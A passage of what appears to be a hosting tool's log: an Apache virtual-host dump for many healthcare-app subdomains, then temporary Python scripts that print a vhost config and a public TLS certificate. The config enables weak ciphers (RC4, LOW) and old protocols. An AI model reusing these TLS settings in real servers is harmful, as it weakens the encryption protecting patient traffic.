                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:03:16: 

PUT: /tmp/pkp249282

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_preview_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:03:16: 

chmod 755 /tmp/pkp249282; /tmp/pkp249282; rm /tmp/pkp249282

2025-11-03 06:03:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf	1436

<VirtualHost *:80>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    #    DocumentRoot	/var/www/patientapps_preview
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-03 06:03:16: 

PUT: /tmp/pkp555999

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:03:16: 

chmod 755 /tmp/pkp555999; /tmp/pkp555999; rm /tmp/pkp555999

2025-11-03 06:03:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt	5368
64:5e:d9:bb:50:03:d7:3e:c2:27:9b:0d:de:82:e3:19

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBoR5yQzAUvBd0RrpjlswcynQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNDQ0WhcNMjYwMjAxMDUwNDQzWjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBALo874QPa7C0Wy4ehcI8NvkpvM5VnWo+ZiPRPqvSJ1i8eNI/faNp
qhxVJxHZgc968WB87GIRfNjPa3snzteXOZGLzhq+6en9wv1hdtmgWKaqjDKulH//
3TSwjxZEkLzuKh5n4z4YK/dqYJsMrqy4zoo7bCzUC3phGIjPiJSXXmNz06eXyNe5
ha1qP8r/IZEvbhUiyd8VyzwQZ+1R/fVmG37HCqiISa3QHzXCPTtM3+XNb6c6fTJr
QS+5zFcv/SB0yKf7y8nxrXk0SUMGAxl5UlwsaElh6WFi+mzeOtoRt4E7a3mjvGWZ
9vFUAuN8z8+104ftuXbPGmNbSlfYF0xtWW8CAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUO9HJ2StIOPPGLJYlWDuK74qkbGwwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzgxLmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
mkhQBDwAAAQDAEYwRAIgbV09mp6DSr8CXqo/p66+NFW1aFiZtw0SNXEHfcuFyDkC
IAaq1HOOwu5SaNywGRgBMv2g8BOeE1LYXEyJ0ZPVqcWfAHYAlpdkv1VYl633Q4do
NwhCd+nwOtX2pPM2bkakPw/KqcYAAAGaSFAEiQAABAMARzBFAiEAxn1KDcUa0Out
xsn9pcUZwki3zPMDtRgmEJQx+/65vI0CIFUoTmiysxm6D4Xf0FYTYSr+hx6OhdC3
vCMQLZ+4qtaHMA0GCSqGSIb3DQEBCwUAA4IBAQCPpimbyPzpYwhd/EbAQ75cVsqX
2s2HE2TPZbbFJshPDNMb9aYlNalke1FVWbj69z+Zplx7cOkDgGIOjfZJ2FZbbg/D
tbe1pE4WVnLNL7ruvUzaWTaZ3u/qoDxrJHfb+Xu6k+95JRvkqhnaRsPBxIektOVV
ULgqIzMDTSJoo6tyoGNpJiQbPoux5iWmwrTiYadP4Rssvqd+69yRqjl1VJLIFv0y
J1reu++H3vQ8SlM8pIV9zNBk4bVT82sH019cfvinc2UymmTAapmELQ5F7ncGSdo/
cOTE8g38mvFrDg9pck/10rJ1/eWNTgO72vaXnMzxBvrSnbJLKEsnzu/x0iSG
-----END CERTIFICATE-----



